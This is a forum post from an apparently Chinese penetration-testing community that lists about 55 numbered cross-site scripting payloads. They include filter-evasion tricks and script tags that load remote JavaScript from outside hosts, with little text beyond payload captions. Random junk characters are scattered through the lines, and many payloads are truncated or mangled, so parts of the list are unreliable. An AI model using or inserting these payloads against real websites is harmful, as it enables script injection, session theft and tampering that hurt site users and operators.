中国网络渗透测试联盟

标题: XSS攻击汇总 [打印本页]

作者: admin    时间: 2016-4-28 10:06
标题: XSS攻击汇总
(1)普通的XSS JavaScript注入
+ c8 f9 K. m$ x0 G7 g
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>$ g) v  |# h/ D) v1 F
(99)另类弹框

' C4 s+ x! V' O% h6 I2 f1 r<q/oncut=alert()>1/ Q1 ]! ]( B# e+ f. x' [: \  q
<s/onclick=alert()>b
. Z3 P3 n+ Z+ h+ n2 }! f- F4 y <XSS=" onclick="alert(1)//">clickme</SSX=">; c% Q& t9 X( {& u- E$ c
<zzz onclick=alert`1`>clickme</zzz> 2 L0 V  Z% E9 O( G
<a onclick=alert`1`>clickme</a>: H/ w- q! O  ?" L6 s7 X1 v3 [7 p  s1 q
<a=">clickme</a=">0 D, K9 Q4 H$ w  \8 V" b" E
<a=">clickme</a>: G! J1 O' L0 ~3 ^
<z=">clickme</z=">
$ e4 E4 H; @( d* F& f; I6 i; q<z onclick=alert`1`>clickme</z>
, B# G/ ?' a8 f3 `: {- v
/ A: }  z8 B, k( u(2)IMG标签XSS使用JavaScript命令% i! P& R- \& h. ^! ~
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# t6 n0 ^: \# V  K

/ c3 i' Y- t8 i5 I3 o& F* e
(3)IMG标签无分号无引号
+ d0 T$ a  v9 e2 ]
<IMG SRC=javascript:alert(‘XSS’)>8 z/ I$ q7 e7 z. {$ ?, ]

& J4 E( e5 m* ?- d* V" G! x- _% O
(4)IMG标签大小写不敏感
! F, J8 R, F) z8 s. F
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>3 T- r* R/ M' c
$ _$ `0 k4 E& Z/ v$ y
(5)HTML编码(必须有分号)& h5 |5 H$ d: c/ z" K  m4 n
<IMG SRC=javascript:alert(“XSS”)>
% x. l% S+ M" R4 W  x
8 W+ G1 ^% y5 W8 O
(6)修正缺陷IMG标签
- K' y; O# P& C& h: f/ Q$ m4 H7 D
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>4 X! p+ ~& y* C1 q; i( b8 @

0 c; G0 I# h# e( x
(7)formCharCode标签(计算器)
. S5 K4 P7 t. G* q
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
( x( b! ?3 d  o& ^
7 H  s* W3 C! [; [6 [& ?* ]* Q
(8)UTF-8的Unicode编码(计算器)" A7 X. D6 b+ O
<IMG SRC=jav..省略..S')>6 J; Y4 {  o7 ?) ]5 j
* F" c) t; [8 f) T/ p* M8 C% R7 O
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)& I# T3 V& v2 j9 w# V0 s8 Z  V
<IMG SRC=jav..省略..S')>
5 C  m7 J" T* r  T6 w
6 E7 P, @8 R' m  {! q4 ~8 u- i
(10)十六进制编码也是没有分号(计算器)
8 |, k0 r( w: e, C2 R5 b
<IMG SRC=\'#\'" /span>
" @& g2 `% B1 l- L4 k* r1 [+ V* d( F/ R# o) ~
(11)嵌入式标签,将Javascript分开
7 E9 H. o* i# e4 S9 q8 \<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>- w; M! f. z7 m: [$ q
! Z/ ~& F, H* r6 P; w
(12)嵌入式编码标签,将Javascript分开
1 d: h' F$ M6 ]4 i4 d' Q<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
1 U! w8 D/ E, W2 m, |
  ?3 I' [, X2 H+ a# C(13)嵌入式换行符% O( P" F; [: p5 }, _# s7 I
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
, W: L9 u' v& {* A. l& T7 w' r
2 y  C2 d% m7 Q( W! K; T3 V(14)嵌入式回车
+ j* D$ i7 R. O' F: ?/ j( v$ G6 G- U<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>: R' W6 Y" E1 ~, @% p8 I

. ]4 i: W9 A$ [$ @* I# }(15)嵌入式多行注入JavaScript,这是XSS极端的例子
5 ^9 r* d: q; [* r% g1 Y<IMG SRC=\'#\'" /span>9 [  s* U( B$ I, E* x
, S2 h# h6 I+ a5 P5 @
(16)解决限制字符(要求同页面)
/ D8 J9 V! k4 j9 b- u/ o5 b8 i/ }<script>z=’document.’</script>- u* u% {- i5 F% z) E( [
<script>z=z+’write(“‘</script>
+ G3 Z8 n8 L  q  q) T' ^7 y: v<script>z=z+’<script’</script>& }* z2 @1 [8 w2 A5 `6 h+ W* P% z8 n5 V
<script>z=z+’ src=ht’</script>
6 W& ^. h* n: |+ J6 C1 K<script>z=z+’tp://ww’</script>
3 @, q0 E7 B' X; B+ a2 Q/ Z2 [<script>z=z+’w.shell’</script>8 Y2 _6 ^. A" s
<script>z=z+’.net/1.’</script>2 P- u2 T, ?! a0 i, y
<script>z=z+’js></sc’</script>
& P+ G1 [; e( {9 d# I( o& G& Z<script>z=z+’ript>”)’</script>
; g, n$ M8 J8 i9 Z  x% h<script>eval_r(z)</script>* }/ w, S7 u* b& T- F; R6 g
/ B% Y  G6 Y! g( B' r: e
(17)空字符; r0 S+ f/ D7 M) j3 G2 I  S
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out' I% k# S* F% M4 q9 M
5 y: Y4 g0 I9 B) Z
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
' j2 j0 N4 ^9 S* z( ~, \perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out- {6 k1 e: M6 H( d- ^, R4 R

0 I/ f2 R+ L. f; S, `(19)Spaces和meta前的IMG标签2 \- H. |9 G9 N4 R: J* \& O! S
<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>* ?2 |4 P& Y+ M8 q) w; D5 r
8 H! [, E7 a- k9 i
(20)Non-alpha-non-digit XSS
8 \: ^/ i( ^. ^+ @<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
# _# d) I+ e7 {& H
5 P; P8 A  ]/ c* t+ A(21)Non-alpha-non-digit XSS to 24 Y; n0 u1 y+ ^- R; W( `
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
. ~$ D) H7 d, u/ r4 a1 A6 q# I4 j1 l+ c$ E
(22)Non-alpha-non-digit XSS to 39 k( i, T7 t9 G
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>' U* j! R- J" Y4 s% k1 S) y
8 L; {6 k- [  Z8 n* t
(23)双开括号
/ ?3 C" p0 x0 L' K3 {( c<<SCRIPT>alert(“XSS”);//<</SCRIPT>
- g9 X1 c; Y7 a8 d9 K. V) l5 M- I& |+ G; ^
(24)无结束脚本标记(仅火狐等浏览器)
+ D8 M8 C( c5 V8 U: ~$ d<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>+ T! Q. Q$ M- X8 G) S3 w
! F: J% ^; U3 ^
(25)无结束脚本标记2& @! g, c8 D( a6 l0 y4 j5 \; _
<SCRIPT SRC=//3w.org/XSS/xss.js>
' D4 T/ E. g3 q5 n/ R) g, E" d1 z- z! r! n
(26)半开的HTML/JavaScript XSS1 }5 C, O! j, j
<IMG SRC=\'#\'" /span>6 ~$ b# E8 p, y# @) `" ]" v
! B0 r% x. m' Q7 h/ d1 w
(27)双开角括号
9 @) @" z: m6 F- \8 j& t  i<iframe src=http://3w.org/XSS.html <
7 o+ b# O' v( z* v. u9 e" L* ^) I& L; `, k9 ~
(28)无单引号 双引号 分号$ A; E( c3 O+ t$ k- L. O5 x9 C( i1 V
<SCRIPT>a=/XSS/2 C& z5 Q4 |  X
alert(a.source)</SCRIPT>& G( u4 i' v  |5 `
! m4 H" @6 W1 A) B; d5 R" J6 T
(29)换码过滤的JavaScript
+ h8 n& z2 c8 b9 \! j. e\”;alert(‘XSS’);//, S/ `5 Z. m5 b# _, J
- s( p* y( }5 m! h9 }
(30)结束Title标签2 e4 B  T/ w3 \) w* N0 A5 D# }5 S
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- A4 o+ Y6 r- ^& D% T+ G$ v! g% n
(31)Input Image0 c0 j$ P* C; w, Q, b
<INPUT SRC=\'#\'" /span>0 ]3 A+ c2 w+ y1 A
( b$ A7 a7 G' V7 o& J! F
(32)BODY Image
3 |- g' j, `6 ^( N# }( w( m) b<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
9 `2 L' A( N4 c& R0 H9 d/ y+ m: K" o0 s) G, `$ p: b' v
(33)BODY标签8 j. z" {5 s3 y7 G+ z2 I# R. k4 R3 P- }
<BODY(‘XSS’)>
" k. n$ d! {% j; i, z. `# a' `5 O* f/ d& g' v& i# [" w
(34)IMG Dynsrc( {5 g! [7 N  n, x# W; L6 D# g
<IMG DYNSRC=\'#\'" /span>
8 X$ S! M5 j% B1 E! I6 ^2 N$ {8 a8 i0 P3 q9 d
(35)IMG Lowsrc
9 K% ^/ q2 g1 o2 ]& T! }6 ~9 g<IMG LOWSRC=\'#\'" /span>! h2 j8 O% N5 p- E* [3 n+ a
' x0 Q( z# V: Y& z$ ]2 X: ]- n
(36)BGSOUND( X, K/ X6 `- p; {8 Q! q1 Y+ O
<BGSOUND SRC=\'#\'" /span>  j! l# V0 P8 ~

4 A; [4 Z, O# x9 S$ ]- _(37)STYLE sheet
5 }, D- D: X* B; N3 ~# B9 t5 `<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>8 P) j6 v7 J/ E% o" S& Z' F
1 ?4 I+ O; o6 c
(38)远程样式表
" C, x7 o9 z- j' E<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>4 ?$ [6 Q) G7 R0 {/ g! D
0 V6 Y0 T/ z+ b! s: v
(39)List-style-image(列表式)1 c+ D2 c) j5 u( S5 B
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
; g* U" |5 R9 Z7 f' h" r! ~* i
; z' `  c1 s" _; J7 h+ g1 {: [& t) h(40)IMG VBscript) J1 E( U! r& x9 d
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS+ F' F# B! \5 B' M) H7 _) F

' J/ W% P; l; i2 }! {1 G- q* e+ ](41)META链接url
6 Z# ^0 i  i) h9 e3 Y5 }<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
; u- W" j. l: s2 Q6 r# S/ I# W: z, E" S" x- g$ d8 t: w8 ]) I) e
(42)Iframe
7 Q' f+ z4 [3 q: h! x9 r+ a( t- ^<IFRAME SRC=\'#\'" /IFRAME>
7 r; o. \1 Q8 y# T
3 N5 f/ T; w1 ]% i6 ]! ?+ _# Z( M(43)Frame# H  u  a4 U- P! o8 [9 @
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
  I% Q5 Y# s$ a7 ]8 g* ~3 ?% d/ h' I+ g7 }8 X
(44)Table
. Q$ o1 [( N) y, `) h<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
/ b% S' p; c* |+ i0 h1 f/ o. t2 c0 m. h4 i$ s
(45)TD' V" a+ _! f+ F' w- u- `
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
) I1 F& R4 X0 k
$ K* `& K+ `1 B' w, f( T. i$ a) c(46)DIV background-image7 l1 T- x; E* P( [+ w
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>; p" w" ^, A2 B' o9 r
; `4 v3 W& W" I
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)9 {! e" Z. K- w8 `
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! l) z- i4 q& ]" L

* h( ~0 |& F! E. v# y1 U7 A3 R(48)DIV expression
" F' W4 f- a$ V<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
5 C/ L5 H! v4 H+ V8 P; t; j; `
8 v6 b" }" o$ |(49)STYLE属性分拆表达
' B; o/ V1 U8 J+ D<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>1 E& a+ n9 w2 ~
9 ?0 d0 @+ G0 |0 {2 y4 i, R5 y
(50)匿名STYLE(组成:开角号和一个字母开头)1 y& _3 P" Z6 u. s6 E% V
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
1 n! u- g) s; N' Y+ ^- l2 M- u0 q3 @
(51)STYLE background-image
; y+ z2 p: [) E$ q8 q/ g  }) d<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
; {9 Z0 a2 Z  h
2 V1 S8 S# S) W. v; H( p* U$ Z(52)IMG STYLE方式
- @) I. f6 G5 Zexppression(alert(“XSS”))’>: F+ m0 n/ G- e  @) L
2 M# P$ D# u7 v, [
(53)STYLE background
1 x) S1 `/ r8 |  F4 Y' `<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
' o5 P) Q& i% e+ N0 X) A6 b5 Y
; ?. V. a: ^2 B9 i2 @( _2 S' C(54)BASE0 ^4 q1 R8 m8 Y
<BASE HREF=”javascript:alert(‘XSS’);//”>2 }, B' e5 C6 u4 S0 C2 s

) X  U7 n! J! e( m. a1 ?/ ^(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
: H5 r; J6 W/ l" R1 w6 r<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>

5 D8 a# C- F& o* t/ c% e4 Z




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2